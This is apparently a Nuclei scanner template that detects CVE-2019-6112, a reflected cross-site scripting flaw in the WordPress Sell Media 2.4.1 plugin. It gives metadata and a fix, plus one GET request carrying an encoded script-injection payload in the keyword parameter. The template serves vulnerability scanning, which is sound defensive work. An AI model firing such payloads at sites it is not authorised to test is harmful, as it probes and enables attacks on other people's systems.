id: CVE-2019-6112 info: name: WordPress Sell Media 2.4.1 - Cross-Site Scripting author: dwisiswant0 severity: medium description: WordPress Plugin Sell Media v2.4.1 contains a cross-site scripting vulnerability in /inc/class-search.php that allows remote attackers to inject arbitrary web script or HTML via the keyword parameter (aka $search_term or the Search field). remediation: | Update to the latest version of WordPress Sell Media or apply the vendor-provided patch to mitigate this vulnerability. reference: - https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b - https://nvd.nist.gov/vuln/detail/CVE-2019-6112 - https://metamorfosec.com/Files/Advisories/METS-2020-001-A_XSS_Vulnerability_in_Sell_Media_Plugin_v2.4.1_for_WordPress.txt classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-6112 cwe-id: CWE-79 epss-score: 0.00126 epss-percentile: 0.46949 cpe: cpe:2.3:a:graphpaperpress:sell_media:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: graphpaperpress product: sell_media framework: wordpress tags: cve,cve2019,wordpress,wp-plugin,xss http: - method: GET path: - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - "id=\"sell-media-search-text\" class=\"sell-media-search-text\"" - "alert(1337)" condition: and - type: status status: - 200 # digest: 4a0a00473045022100be940311becf23d477242c741ad79e7a579beff7e5811b9935e61cebf17dacb102200433a63b7ab2dfe101dfb6b7a8b43407c099501dd62541aaf8d986650a9a7650:922c64590222798bb761d5b6d8e72950